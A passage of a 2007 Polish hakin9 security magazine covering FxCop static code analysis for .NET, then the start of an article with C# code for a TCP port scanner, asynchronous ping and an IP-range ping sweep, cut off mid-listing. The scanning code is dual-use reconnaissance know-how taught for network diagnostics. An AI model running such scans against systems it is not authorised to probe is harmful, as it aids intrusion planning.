śla zmienna i, wystarczy wydać
polecenie
print i*’A’
. Podobnych
udogodnień jest więcej. Niestety,
ograniczona ilość informacji, któ-
rą mogę przekazać w tym artykule,
nie pozwala mi rozwinąć tego tema-
tu w sposób bardziej rozbudowany.
Liczę zatem na Waszą kreatywność
przy pisaniu własnego fuzzera.
Podsumowanie
Fuzzing pozwala nam na ogromną
oszczędność czasu. Testowanie
programów za pomocą fuzzerów nie
wymaga dużych nakładów czasu
w porównaniu do analizy statycznej
czy analizy wstecznej. Pełna auto-
matyzacja procesu testowania, po-
łączona z możliwością dostoso-
wania technik fuzzingu do swoich
potrzeb, zapewnia przyzwoite efek-
ty. Aktualnie fuzzing jest najczęściej
wykorzystywaną techniką wykrywa-
nia błędów. Warto mieć zdolność
testowania programów za pomo-
cą dostępnych narzędzi i własnych
skryptów. Możliwość szybkiego wy-
krycia błędu jest obecnie bardzo
cenną umiejętnością. Niejednokrot-
nie musimy walczyć z czasem, szu-
kając niewidocznego na pierwszy
rzut oka błędu. Wtedy właśnie przy-
dają się fuzzery pozwalające nam
na błyskawiczne wykrycie ukrytej
usterki. l
Rysunek 5.
Efekt działania naszego fuzzera
O autorze
Piotr Łaskawiec, student Informatyki
Stosowanej na Politechnice Krakow-
skiej. Założyciel i przewodniczący Ko-
ła Naukowego PK IT Security Group
(www.pkitsec.pl). Od wielu lat związa-
ny z tematyką bezpieczeństwa kom-
puterowego. Pasjonat języka Python.
W wolnych chwilach programuje i zaj-
muje się publicystyką. Kontakt z auto-
rem: hellsource@gmail.com
W Sieci
• http://sourceforge.net/projects/taof
• http://fuzzing.org/fuzzing-software
• http://peachfuzz.sourceforge.net/
• http://www.ollydbg.de/
Python – tworzenie fuzzerów
hakin9 Nr 12/2007
www.hakin9.org
51
www.hakin9.org
hakin9 Nr 12/2007
52
Obrona
Z
apewnienie odpowiedniej jakości kodu,
czy to przy pomocy różnych metodologii
(np. Extreme Programming), okresowego
sprawdzania i analizy kodu (code reviews), czy
też kombinacji różnych podejść, jest procesem
kosztownym i długotrwałym. Jego automatyza-
cja i wplecenie w cykl życia aplikacji, pomimo
iż nie wyeliminuje do końca ingerencji człowie-
ka – a także samych błędów – zdecydowanie
usprawnia proces i zwiększa efektywność pra-
cy całego zespołu. Tu przychodzą nam z pomo-
cą narzędzia do statycznej analizy kodu, a wśród
nich aplikacja FxCop.
FxCop jest narzędziem do analizy kodu,
które sprawdza zgodność elementów kodu za-
rządzanego .NET z wytycznymi projektowymi
dla platformy .NET (Microsoft .NET Framework
Design Guidelines). Narzędzie wykorzystuje me-
chanizm refleksji, parsowanie MSIL oraz analizę
grafu wywołań do sprawdzenia elementów pod
kątem występowania ponad 200 często spotyka-
nych wad w następujących obszarach:
• projekt bibliotek,
• lokalizacja,
• konwencje nazewnictwa,
• wydajność,
• bezpieczeństwo.
FxCop dysponuje graficznym interfejsem użyt-
kownika, ale jest też narzędziem dostępnym
z wiersza polecenia. Zawiera także pakiet
SDK umożliwiający tworzenie niestandardowych
reguł.
Jakość tworzonego kodu
Kiedy mówimy o tworzeniu bezpiecznego opro-
gramowania, musimy zacząć od samych pod-
staw, czyli od jakości tego, co napisaliśmy. Ma
ona fundamentalne znaczenie w przypadku, gdy
nasza aplikacja jest kluczowa dla firmy. Spraw-
dzeniem jakości naszego kodu zajmuje się spe-
cjalna dziedzina inżynierii oprogramowania, nie-
mniej jednak jako programiści sami jesteśmy
FxCop – analiza kodu
w .NET
Artur Żarski
stopień trudności
Tworzenie oprogramowania jest bardzo złożonym procesem,
bardzo trudno jest napisać aplikację, która będzie pozbawiona
błędów, a co za tym idzie – bezpieczna. Ogromny nacisk
kładziony jest więc na to, aby oprogramowanie zawierało tych
błędów jak najmniej.
Z artykułu dowiesz się
• jak działa i czym jest narzędzie FxCop,
• czym jest analiza kodu.
Co powinieneś wiedzieć
• należy znać zagadnienia związane z programo-
waniem przy użyciu platformy .NET ,
• wiedzieć, jak poruszać się w środowisku Visual
Studio.
FxCop – analiza kodu w .NET
hakin9 Nr 12/2007
www.hakin9.org
53
w stanie określać reguły, którym pod-
lega tworzony kod aplikacji. Do tego
celu możemy wykorzystać mecha-
nizm statycznej analizy kodu. Okre-
ślenie statyczna analiza kodu to
specjalny etap kompilacji naszego
programu, w trakcie którego przy
pomocy odpowiednich reguł spraw-
dzane jest to, co napisaliśmy. Regu-
ły te opisują, co jest prawidłowe i jak
powinien wyglądać nasz kod źródło-
wy, aby był poprawny i bezpieczny
z naszego punktu widzenia.
FxCop w działaniu
No dobrze, jeśli już dowiedzieliśmy
się czegoś na temat jakości kodu
oraz jego statycznej analizy, to nie
pozostaje nam nic innego jak tylko
napisanie czegoś co pozwoli ana-
lizować i sprawdzać nasz kod. Jest
to wykonalne, ale bardzo skompliko-
wane do oprogramowania. Dlaczego
jest to takie trudne? Ponieważ bar-
dzo często zdarza się, że ten sam
problem może być opisany w różny
sposób. Z pomocą przychodzą nam
kody operacji języka pośredniego
(Intermediate Language). Ich zapis
po stronie systemu operacyjnego,
po kompilacji, jest bardziej przewi-
dywalny i bardziej jednoznaczny niż
sam kod źródłowy, nawet przy uży-
ciu różnych języków programowania
dostępnych w platformie .NET.
W taki właśnie sposób – przy
pomocy analizy kodu pośredniego
– działa narzędzie pod nazwą FxCop.
Reguły w FxCop
Jak już wcześniej wspominaliśmy,
analiza składni polega na sprawdze-
niu kodu według wcześniej określo-
nych reguł. Dokładnie ta sama zasa-
da działania dotyczy FxCop. Narzę-
dzie to zawiera standardowo wbudo-
wane pewne reguły określające, jak
powinien wyglądać nasz kod. Regu-
ły te są umieszczone w kilku grupach
Tabela 1.
Grupy reguł dla FxCop
Grupa
Zakres analizy
Design
Poprawność architektury bibliotek pod kątem zgodności z zasadami nakre-
ślonymi w dokumencie Design Guidelines for Class Library Developers
Globalization
Globalizacja, czyli gotowość aplikacji do lokalizacji
Interoperability
Współpraca z kodem niezarządzanym (głównie COM)
Maintainability
Konserwacja kodu
Naming
Zgodność z konwencjami nazewniczymi opisanymi w dokumencie Design
Guidelines for Class Library Developers
Performance
Wydajność kodu
Reliability
Niezawodność aplikacji oraz odporność na problemy, np. związane z ilością
użytej pamięci
Security
Bezpieczeństwo
Usage
Poprawne użycie .Net Framework
Listing 1.
Definicja reguły w pliku XML
<
Rules
>
<
Rule TypeName=
"RegulaPusteNazwy"
Category=
" Naming"
CheckId=
"Reg5000"
>
<
Name
>
Reguła używana, kiedy pojawiają się puste nazwy
<
/Name
>
<
Description
>
Tutaj nasz opis
<
/Description
>
<
Url
>
Link do opisu
<
/Url
>
<
Resolution
>
Sposób rozwiązania
<
/Resolution
>
<
>
email do osoby odpowiedzialnej
<
>
<
MessageLevel Certainty=
"95"
>
Error
<
/MessageLevel
>
<
FixCategories
>
Breaking
<
/FixCategories
>
<
Owner
>
Informacje o właścicielu reguły
<
/Owner
>
<
/Rule
>
<
/Rules
>
Rysunek 1.
Okno Code Analysis w VisualStudio
Źródło: http://msdn2.microsoft.com/en-us/library/ee1hzekz(VS.80).aspx
hakin9 Nr 12/2007
www.hakin9.org
Obrona
54
funkcjonalnych. Tabela 1. zawiera
zestawienie grup wraz ze specyfika-
cją, jakiemu zakresowi analizy pod-
legają umieszczone reguły.
Sama reguła jest tylko jednym
z elementów całej analizy. Istotną
sprawą jest stwierdzenie, czy to
co dana reguła wykryje, jest waż-
ne, czy nie i jak to zdarzenie zakla-
syfikować. W związku z tym musi-
my określić jeszcze dwa parametry.
Są nimi poziom istotności oraz pew-
ność. Występują trzy główne czynni-
ki determinujące poziom istotności:
• widzialność znalezionego pro-
blemu,
• prawdopodobieństwo tego, czy
wykryty problem będzie miał ne-
gatywny skutek na całość apli-
kacji i jej zachowania,
• ryzyko powiązane z nie napra-
wieniem problemu.
Dodatkowo każda reguła musi cecho-
wać się jednym z pięciu poziomów
istotności. Poziomy te przedstawiają
się następująco:
• Critical Error (Błąd krytyczny) /
Error (Błąd) – wiadomości, któ-
rym nadano ten poziom, dotyczą
problemów, które mogą zagrozić
stabilności kodu,
• Critical Warning (Ostrzeżenie kry-
tyczne) / Warning (Ostrzeżenie)
– w tej grupie problemy zwykle
nie dotyczą stabilności aplikacji.
Niemniej jednak powinny zostać
dokładnie przeanalizowane pod
kątem optymalności kodu,
• Informational (Informacja) – sto-
sowany do wiadomości, które
dostarczają jedynie informacji
o przedmiocie analizy, nie iden-
tyfikują zaś potencjalnych proble-
mów z nim związanych.
Współczynnik pewności określa praw-
dopodobieństwo, z jakim problem zo-
stał poprawnie zidentyfikowany. Po-
dobnie, jak poziom istotności, jest to
wartość określana subiektywnie przez
autora reguły, jednak powinna ona za-
leżeć od algorytmu użytego do wykry-
cia problemu oraz cech specyficznych
dla problemu, które nie mogą zostać
zweryfikowane na podstawie staty-
cznej analizy. Współczynnik pew-
ności określany jest w procentach
(0-99%). Im wyższa wartość, tym
większe prawdopodobieństwo, że
dana reguła poprawnie identyfiku-
je problem.
Własne reguły
Bardzo dobrze, jeśli proces spraw-
dzania naszego oprogramowania jest
w pełni opisany dostarczonymi regu-
łami. Zdarzają się jednak sytuacje,
kiedy standardowe opcje nam nie wy-
starczają. W takim przypadku mamy
możliwość dopisania własnej reguły
i podpięcia jej do istniejącego zesta-
wu. Jak się do tego zabrać? W tym
celu pomocne są dwie biblioteki:
FxCopSdk.dll oraz Microsoft.Cci.dll.
Proces tworzenia nowej reguły
składa się z dwóch etapów. Pierw-
szy z nich to stworzenie definicji
reguły – określonej w pliku XML
– oraz napisanie kodu, który będzie
realizował sprawdzenie danej reguły.
Plik XML powinien wyglądać tak,
jak na Listingu 1. i powinien zawierać
informację o rodzaju reguły, jej naz-
wie, identyfikatorze oraz poziomie
pewności.
W drugim kroku tworzymy biblio-
tekę, do której dodajemy następują-
ce referencje:
using Microsoft.Cci;
using Microsoft.FxCop.Sdk;
using Microsoft.FxCop.Sdk.Introspect
ion;
oraz tworzymy klasę o nazwie takiej
jak nazwa reguły:
public class RegulaPusteNazwy :
BaseIntrospectionRule
Następnie musimy zaimplementować
obsługę sprawdzania danej reguły, nad-
pisując w tym celu metodę Check. Jej
parametrem może być moduł, para-
metr, zasób, etc. Pełna lista możliwych
parametrów znajduje się w Ramce.
Ostatnim krokiem jest kompilacja
biblioteki i umieszczenie jej w katalo-
gu z innymi regułami (FxCop\Rules),
a także przetestowanie jej.
Pełna lista możliwych parametrów
public virtual ProblemCollection Check(Member member);
public virtual ProblemCollection Check(Module module);
public virtual ProblemCollection Check(Parameter parameter);
public virtual ProblemCollection Check(Resource resource);
public virtual ProblemCollection Check(TypeNode type);
public virtual ProblemCollection Check(string namespaceName,
TypeNodeList types);
Rysunek 2.
Lista Ostrzezeń po analizie kodu
FxCop – analiza kodu w .NET
hakin9 Nr 12/2007
www.hakin9.org
55
FxCop w praktyce
Wiemy już, czym jest FxCop i jakie jest jego zastosowa-
nie. Zobaczmy teraz, w jaki sposób możemy praktycznie
wykorzystać to narzędzie i jak się do tego zabrać. Poniżej
chciałbym przedstawić sposób wykonania statycznej ana-
lizy kodu przy użyciu Visual Studio.
Aby rozpocząć pracę z FxCop i statyczną analizą
kodu, należy uruchomić właściwości projektu w Visual
Studio, a następnie z lewego menu wybrać opcję Co-
de Analysis. Otrzymamy okno takie, jak na Rysun-
ku 1. Następnie w tym oknie wybieramy opcję Enable
Code Analysis, która spowoduje włączenie analizy kodu.
W tym momencie możemy jeszcze raz wykonać zbudo-
wanie naszej aplikacji.
W trakcie kompilacji będziemy dostawać ostrzeżenia
(o ile się takie pojawią) dotyczące jakości utworzonego
kodu. Przykład takiej listy ostrzeżeń przedstawiony jest
na Rysunku 2. Jeśli przyjrzymy się temu obrazkowi, bę-
dziemy mogli dostrzec błędy o numerach zaczynających
się od liter CA – jak Code Analysis. W drugiej kolum-
nie zobaczyć można kolejną bardzo ważną informację,
mówiącą o kategorii, do której należy dana reguła, np.
Microsoft.Usage.
Dla przykładu linia 4 zawiera następujące informacje:
CA2210 : Microsoft.Design : Sign FxCop-Sample with
a strong name key.
Oznacza to, że nasz projekt nie jest podpisany, a co
za tym idzie – klient może mieć problem z instalacją lub
uruchomieniem wynikowej aplikacji, ponieważ system nie
będzie wiedział, czy można zaufać bibliotekom wcho-
dzącym w skład programu (lub samemu programowi).
Oczywiście nie ma potrzeby wykorzystania wszyst-
kich reguł. Jeśli celowo chcemy pominąć jakąś grupę re-
guł lub konkretny numer błędu (bo tego wymaga nasza
aplikacja), to w oknie, w którym uruchamialiśmy anali-
zę kodu, możemy wybierać interesujące nas reguły. Na
Rysunku 3. przedstawiony jest przykład wyłączenia ze
sprawdzania reguły mówiącej o tym, że nasza bibliote-
ka powinna mieć zadeklarowany minimalny stopień bez-
pieczeństwa.
Jeśli teraz ponownie przekompilujemy nasz projekt, to
zobaczymy, że ostrzeżenie o błędzie CA2209 nie będzie
Rysunek 3.
Wyłączenie jednej z reguł
hakin9 Nr 12/2007
www.hakin9.org
Obrona
56
już widoczne – pokazuje to Rysu-
nek 4. Oczywiście nie musimy się
ograniczać do włączania lub wyłą-
czania pojedynczych reguł. Mamy
również możliwość wyłączenia ze
sprawdzania całej ich grupy, tak jak
widać na Rysunku 5.
Jeśli dobrze zwrócimy uwagę
na opcję konfiguracji analizy kodu,
łatwo dostrzeżemy, że możliwe jest
przygotowanie takich ustawień, które
będą odpowiednie dla różnych konfi-
guracji. Co innego może być spraw-
dzane dla konfiguracji Debug, a co
innego dla konfiguracji Release.
Od czasu do czasu zdarza się,
że z jakiś powodów nie chcemy
pozwolić na kompilację programu,
jeśli pojawią się ostrzeżenia z anali-
zy kodu. W takiej sytuacji warto za-
mienić ostrzeżenie w błąd. Dzię-
ki temu, jeśli napotkamy na ta-
ki problem, to nie będziemy mogli
przejść nad nim do porządku dzien-
nego, tylko będziemy zmuszeni do
jego poprawy. Jak to wykonać?
Nic prostszego. Na liście z reguła-
mi po prawej stronie mamy wykrzyk-
nik symbolizujący ostrzeżenie. Jeśli
teraz klikniemy w niego i zmienimy
ostrzeżenie na błąd, to w momencie
napotkania na opisany regułą pro-
blem otrzymamy błąd. Taką sytuację
przedstawia Rysunek 6. Po kom-
pilacji przypadek spełnienia reguły
CA2100 będzie wykryty jako błąd, co
spowoduje, że będziemy musieli tak
poprawić składnię SQLa, aby nie ak-
ceptowała dowolnie wpisanego cią-
gu znaków. Pozwoli nam to na napi-
sanie bezpieczniejszej aplikacji.
Podsumowanie
Mamy do dyspozycji coraz więcej
narzędzi wspomagających tworze-
nie bezpieczniejszych aplikacji. Jed-
nym z nich jest FxCop. Narzędzie to
jest bardzo potężne i to nie tylko dzię-
ki wbudowaniu w nie standardowo
około dwustu reguł, ale również dla-
tego, że pozwala na rozbudowę tego
zestawu. Jeśli nasza firma korzysta
z własnych reguł poprawności ko-
du, to mamy możliwość dopisania ich
do już istniejących. Gdybyśmy chcie-
li dodać własny algorytm analizy,
także mamy taką możliwość. Pole-
cam zapoznać się z tym narzędziem,
a tworzenie bezpieczniejszych aplika-
cji stanie się łatwiejsze. l
Rysunek 5.
Wyłączenie ze sprawdzania całej grupy
Rysunek 6.
Zamiana ostrzeżenia na błąd
Rysunek 4.
Wynik kompilacji po wyłączeniu reguły
O autorze
Autor jest pracownikiem firmy Micro-
soft. Na co dzień zajmuje się m. in. two-
rzeniem rozwiązań w oparciu o SQL
Server w różnych aspektach – bazy
relacyjne, usługi integracyjne, usługi
analityczne. Jest certyfikowanym admi-
nistratorem baz danych (MCDBA).
Kontakt z autorem:
arturz@microsoft.com
Media Systems
Firma Media Systems oferuje Państwu
profesjonalny system CashBill.pl,
umożliwiający zarządzanie usługami
SMS Premium Rate w sektorze B2B
i B2C.
Oferujemy również szeroki wachlarz
usług mikropłatniczych, płatności
elektronicznych oraz indywidualne, de-
dykowane rozwiązania przy budowie
aplikacji mobilnych.
TTS Company Sp. z o.o.
Oprogramowanie komputerowe – sprze-
daż, dystrybucja oraz import na zamó-
wienie. W ofercie programy autorstwa
ponad dwustu firm z całego świata. Za-
praszamy do współpracy – zostań na-
szym klientem lub dostawcą. Chcesz
kupić oprogramowanie i nie możesz
znaleźć polskiego dostawcy? Skontak-
tuj się z nami? sprowadzimy nawet po-
jedyncze licencje.
www.OprogramowanieKomputerowe.pl
Zepter IT
Zepter IT to dynamicznie rozwijająca
się firma, specjalizująca się w realiza-
cji projektów informatycznych.
Oferujemy rozwiązania dla biznesu
i zarządzania takie jak systemy ERP
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów.
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commerce,
tworzenie aplikacji internetowych oraz
systemów zarządzania treścią.
www.zepterit.com
Pr
en
um
er
at
a
PR
O
Prenumerata PRO
ko
nt
ak
t d
o
na
s:
m
ar
ty
na
.z
ac
ze
k@
so
ft
w
ar
e.
co
m
.p
l
ka
ta
rz
yn
a.
ju
sz
cz
yn
sk
a@
so
ft
w
ar
e.
co
m
.p
l
te
l.
: 2
2
42
7
36
7
7
Petrosoft
Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezentacji
multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsor-
cingowe dla dużych firm z zakresu
informatyki i telekomunikacji. Opro-
gramowanie na zamówienia. Dostawa
serwerów, sprzętu, oprogramowania.
38-200 Jasło, ul. 3 Maja 101
Biuro: (13) 44 66 666
biuro@petrosoft.pl
www.hakin9.org
hakin9 Nr 12/2007
58
Obrona
P
isząc własną aplikację diagnozują-
cą sieć warto przyjrzeć się platformie
.NET i zawartych w niej klasach słu-
żących do programowania sieciowego. W tym
artykule spróbuję przybliżyć sposoby spraw-
dzania dostępności komputerów w sieci za
pomocą pakietów ICMP. Znajomość tych za-
gadnień od strony programowej umożliwia
stworzenie dowolnych narzędzi diagnostycz-
nych, które najlepiej pasują do naszych ocze-
kiwań. Rozpoczniemy od nietypowego użycia
połączenia TCP.
Skanowanie portów
Skanowanie portów to jedna z podstawowych
technik ataku. Stosowana jest również przez
administratorów sieci w celu przeciwdziała-
nia ewentualnym próbom ataku. Powszech-
nie używanym narzędziem jest program
nmap (http://insecure.org/nmap). Jest to pro-
gram darmowy, który posiada bardzo dużo
opcji. Dzięki niemu możemy przeprowadzić
wiele rodzajów skanowania portów zdalnego
hosta. Spróbujmy napisać metodę w języku
C#, która zadziała podobnie do wspomnia-
nego programu nmap. Użyjemy do tego kla-
sy
TcpClient
, która służy do obsługi połącze-
nia TCP. Konstruktor klasy
TcpClient
jest prze-
ciążony. Jedna z jego wersji, której użyjemy
w programie, próbuje nawiązać połączenie
z komputerem zdalnym o adresie i porcie
wskazanym w argumencie. W przypadku, kie-
dy połączenie nie dojdzie do skutku, wygene-
rowany zostanie wyjątek. Wystarczy zatem
wykonywać próby połączenia w pętli, która
będzie przebiegać po interesujących nas por-
tach. W związku z możliwością generowania
wyjątków przez konstruktor klasy
TcpClient
,
C#.NET – diagnostyka sieci
Sławomir Orłowski
stopień trudności
Otwarte porty i brak blokowania pakietów ICMP to jawne
zaproszenie do ataku. Programista piszący aplikację sieciową
służącą obronie bądź atakowi powinien umieć programowo
wysyłać pakiety ICMP oraz skanować porty.
Z artykułu dowiesz się
• jak z poziomu kodu C# diagnozować sieć kom-
puterową.
Co powinieneś wiedzieć
• podstawy jednego z następujących języków: C,
C++, Java lub oczywiście C#. W razie niespeł-
niania tego warunku potrzebny jest duży zapał,
• podstawy programowania zorientowanego
obiektowo,
• podstawowa znajomość sieci komputerowych.
C#.NET – diagnostyka sieci
hakin9 Nr 12/2007
www.hakin9.org
59
połączenie powinno być chronione
blokiem try-catch. Kod, który rea-
lizuje to zadanie, przedstawiony
został na Listingu 1. Aby metoda
ta działała, musimy w bloku using do-
dać przestrzeń nazw System.Net.
Sockets i System.Net.
Metoda
OpenPortsScan
przyjmu-
je trzy argumenty. Dwa pierwsze
ustalają zakres, na jakim będzie-
my wykonywać skanowanie por-
tów (wartość minimalna i maksy-
malna), a ostatni to nazwa hosta
lub jego adres IP. Wartością zwra-
caną przez tę metodę będzie li-
sta wszystkich otwartych portów.
Użyjemy do tego bardzo wygodne-
go typu ogólnego
List<>
sparame-
tryzowanego typem int. Dla pew-
ności powinniśmy sprawdzić, czy
numery portów podane w argu-
mencie nie są niewłaściwe. Klasa
IPEndPoint
ma dwie statyczne wła-
sności
MaxPort
i
MinPort
, które prze-
chowują odpowiednio minimalny
i maksymalny numer portu. Możemy
ich użyć do sprawdzenia, czy przy
wywołaniu naszej metody ktoś nie
podał złych numerów portów. Po
tych zabiegach można już próbo-
wać nawiązywać połączenie TCP
– obowiązkowo w bloku ochronnym
try-catch
. Jeśli próba zakończy się
sukcesem, wówczas numer portu,
na którym nastąpiło połączenie,
jest zapisywany do listy otwartych
portów. Kiedy port jest zamknię-
ty, dostaniemy wyjątek, który ma-
my szansę obsłużyć w sekcji catch.
Jednak w tym przypadku jest to nie-
potrzebne. Jak widać z Listingu 1.
zasada działania jest bardzo pro-
sta. Jej podstawową wadą jest dłu-
gi czas skanowania, który związany
jest z koniecznością nawiązywania
połączenia TCP. Inicjacja nowej in-
stancji klasy
TCPClient
przy każdej
próbie połączenia na danym por-
cie może się nie podobać. Jednak
nie powoduje ona wycieków pamię-
ci. Dla zamkniętych portów egzem-
plarz klasy
TCPClient
w ogóle nie
powstaje, ponieważ generowany
jest wyjątek w konstruktorze obiek-
tu. Zwykle portów, które są otwar-
te, jest niewiele, co również nie ob-
ciąża zbytnio pamięci. Dodatkowo
musimy pamiętać, że w C#.NET
i tak nie mamy bezpośredniego do-
stępu do pamięci. Wszystko zała-
twia za nas garbage collector. Me-
todę z Listingu 1 możemy umieścić
w projekcie Windows Forms lub
Windows Presentation Fundation
i stworzyć prostą aplikację okien-
kową skanującą porty. Wywołanie
metody OpenPortsScan powinni-
śmy umieścić w osobnym wątku,
aby przeciwdziałać zablokowaniu
interfejsu aplikacji. Metodę można
również przeciążyć tak, aby jako
jeden z argumentów przyjmowała
listę portów, które mają być spraw-
dzone. Proponuję Czytelnikowi po-
eksperymentować.
Ping
Drugie zagadnienie, jakie chciałem
poruszyć w tym artykule, to wysła-
nie programowo pakietu ping. Jak
wiadomo, ping może być podsta-
wowym narzędziem do sprawdza-
nia dostępności komputera w sieci.
Listing 1.
Metoda umożliwiająca skanowanie portów
private
List
<
int
>
OpenPortsScan
(
int
first
,
int
last
,
string
host
)
{
List
<
int
>
openPorts
=
new
List
<
int
>();
if
((
first
<=
last
)&&(
last
<=
IPEndPoint
.
MaxPort
&&
first
>=
IPEndPoint
.
MinPort
))
{
for
(
int
i
=
first
;
i
<
last
;
i
++)
{
try
{
TcpClient
client
=
new
TcpClient
(
host
,
i
);
openPorts
.
Add
(
i
);
}
catch
{
}
}
return
openPorts
;
}
else
return
null
;
}
Listing 2.
Asynchroniczne wywołanie pinga
public
void
AsyncPing
(
string
host
,
int
timeout
,
byte
[]
buffor
,
PingOptions
options
)
{
Ping
ping
=
new
Ping
();
ping
.
PingCompleted
+=
new
PingCompletedEventHandler
(
ping_PingCompleted
);
try
{
ping
.
SendAsync
(
host
,
timeout
,
buffor
,
options
,
false
);
}
catch
(
Exception
ex
)
{
MessageBox
.
Show
(
"Błąd: {0}"
,
ex
.
Message
);
}
}
Listing 3.
Domyślnie utworzona metoda zdarzeniowa
void
ping_PingCompleted
(
object
sender
,
PingCompletedEventArgs
e
)
{
throw
new
Exception
(
"The method or operation is not implemented."
);
}
hakin9 Nr 12/2007
www.hakin9.org
Obrona
60
Za jego pomocą możemy również
sprawdzić drogę wysłanego pakietu.
Podstawowy problem, jaki napotka-
my przy użyciu pinga, to firewall na
komputerze docelowym, który blo-
kuje odpowiedzi na pakiety ICMP.
W C#.NET ping może być wysłany
w bieżącym wątku oraz asynchro-
nicznie. Metoda asynchroniczna
po wywołaniu kończy swoje działa-
nie w wątku, w którym znajduje się
obecnie, a jej wykonanie przenie-
sione zostaje do osobnego wątku.
Jeśli proces zostanie zakończony
(pomyślnie bądź z powodu błędu),
wówczas generowane jest odpo-
wiednie zdarzenie, które informu-
je wątek wywołujący o zakończe-
niu działania. Używając delegacji
możemy zostać subskrybentem te-
go zdarzenia, a w związku z tym
możemy obsłużyć je w odpowied-
niej metodzie zdarzeniowej. Na po-
czątek proponuję napisać zwykłego
pinga. Dzięki temu zapoznamy się
z samą metodą wysyłającą ping
oraz sposobem obsługi metod
asynchronicznych. Naszą aplikację
napiszemy w środowisku Visual
C# 2005 Express Edition. Będzie
to projekt Windows Forms. Inter-
fejs aplikacji będzie niezwykle pro-
sty. Jej wygląd przedstawia Rysu-
nek 1.
Na formie umieszczamy kolej-
no kontrolki textBox1, button1 i list-
Box1. Przechodzimy do widoku kodu
(klawisz F7). W sekcji using do-
dajemy przestrzeń nazw System.
Net.NetworkInformation. W niej znaj-
duje się klasa
Ping
, która odpowia-
da za wysyłanie pinga. Mamy więc
gotowca. Jak napisałem wcześniej,
ping
wysyłany będzie asynchro-
nicznie. Na szczęście nie musimy
samodzielnie implementować od-
powiedniej metody. W tym przypad-
ku środowisko .NET również przy-
chodzi nam z pomocą, konkretnie
dostarczając metodę
SendAsync
kla-
sy
Ping
. My musimy jedynie zadbać
o stworzenie metody zdarzeniowej,
która zostanie wywołana po zakoń-
czeniu działania wątku wywołane-
go przez metodę
SendAsync
. Całość
metody przedstawia Listing 2.
Metoda ta nie zwraca żadnych
wartości. Jako argumenty przyjmu-
je kolejno nazwę hosta, czas ocze-
kiwania na odpowiedź, bufor, ja-
ki mamy przesłać oraz dodatkowe
opcje (klasa
PingOptions
). Na począt-
ku tworzony jest egzemplarz klasy
Ping. W drugim kroku do zdarze-
nia
PingCompleted
dodajemy metodę
Listing 4.
Metoda zdarzeniowa wywołana dla zdarzenia PingCompleted
void
ping_PingCompleted
(
object
sender
,
PingCompletedEventArgs
e
)
{
if
(
e
.
Cancelled
||
e
.
Error
!=
null
)
{
MessageBox
.
Show
(
"Błąd: Operacja przerwana, bądź host nieosiągalny"
);
((
IDisposable
)(
Ping
)
sender
)
.
Dispose
();
return
;
}
PingReply
answer
=
e
.
Reply
;
if
(
answer
.
Status
==
IPStatus
.
Success
)
listBox1
.
Items
.
Add
(
"Odpowiedz z "
+
answer
.
Address
.
ToString
()
+
" bajtów="
+
answer
.
Buffer
.
Length
+
" czas="
+
answer
.
RoundtripTime
+
"ms TTL="
+
answer
.
Options
.
Ttl
);
else
listBox1
.
Items
.
Add
(
"Błąd: Brak odpowiedzi z "
+
e
.
Reply
.
Address
+
": "
+
answer
.
Status
.
ToString
());
((
IDisposable
)(
Ping
)
sender
)
.
Dispose
();
}
Listing 5.
Metoda zdarzeniowa Click przycisku button1
private
void
button1_Click
(
object
sender
,
EventArgs
e
)
{
PingOptions
options
=
new
PingOptions
();
options
.
DontFragment
=
true
;
options
.
Ttl
=
128
;
byte
[]
buffor
=
Encoding
.
ASCII
.
GetBytes
(
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
);
int
timeout
=
120
;
for
(
int
i
=
0
;
i
<
3
;
i
++)
AsyncPing
(
textBox1
.
Text
,
timeout
,
buffor
,
options
);
}
Rysunek 1.
Projekt interfejsu aplikacji wysyłającej asynchronicznie ping
C#.NET – diagnostyka sieci
hakin9 Nr 12/2007
www.hakin9.org
61
zdarzeniową
ping _ PingCompleted
.
Najszybciej linijkę tę możemy na-
pisać używając klawisza Tab. Po
wprowadzeniu operatora
+=
otrzy-
mamy podpowiedź, new
PingCompl
etedEventHandler()
. Akceptujemy ją
naciskając klawisz Tab. Kolejna pod-
powiedź dotyczy nazwy metody. Ak-
ceptujemy ją również, dzięki czemu
utworzona zostanie domyślna meto-
da
ping _ PingCompleted
(Listing 3).
Na razie zostawiamy ją i przecho-
dzimy do pisania dalszej części me-
tody
AsyncPing
z Listingu 2.
Wysyłanie pinga umieszcza-
my w bloku ochronnym try-catch,
ponieważ metoda
SendAsync
mo-
że generować wyjątki. Teraz prze-
chodzimy do implementacji metody
zdarzeniowej
ping _ PingCompleted
(Listing 4).
Przyjrzyjmy się na początek au-
tomatycznie utworzonemu nagłów-
kowi tej metody. Referencja sender
wskazuje nam na obiekt wywołujący,
a więc egzemplarz klasy
Ping
. Pod
referencją e kryją się wszystkie in-
formacje na temat wysłanego przez
nas pinga. Na początku sprawdzimy,
czy podczas próby wysyłania pakie-
tów ICMP nie nastąpił błąd lub prze-
rwanie operacji. Na to pytanie odpo-
wiedzą własności Error i Cancelled
typu logicznego. W przypadku, kiedy
wystąpił błąd lub wysyłanie pakietów
zostało przerwane, powinniśmy wy-
świetlić odpowiedni komunikat. Robi-
my to używając okna MessageBox.
Następnie warto zniszczyć obiekt wy-
wołujący, ponieważ platforma .NET
Listing 6.
Metoda zdarzeniowa Click przycisku button2
private
void
button2_Click
(
object
sender
,
EventArgs
e
)
{
IPAddress
startIP
=
null
;
IPAddress
endIP
=
null
;
if
(
IPAddress
.
TryParse
(
textBox2
.
Text
,
out
startIP
))
{
if
(
IPAddress
.
TryParse
(
textBox3
.
Text
,
out
endIP
))
{
byte
[]
start
=
startIP
.
GetAddressBytes
();
byte
[]
end
=
endIP
.
GetAddressBytes
();
PingOptions
options
=
new
PingOptions
();
options
.
Ttl
=
128
;
options
.
DontFragment
=
true
;
byte
[]
buffor
=
Encoding
.
ASCII
.
GetBytes
(
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
);
int
timeout
=
120
;
for
(
byte
oktet1
=
start
[
0
];
oktet1
<=
end
[
0
];
oktet1
++)
for
(
byte
oktet2
=
start
[
1
];
oktet2
<=
end
[
1
];
oktet2
++)
for
(
byte
oktet3
=
start
[
2
];
oktet3
<=
end
[
2
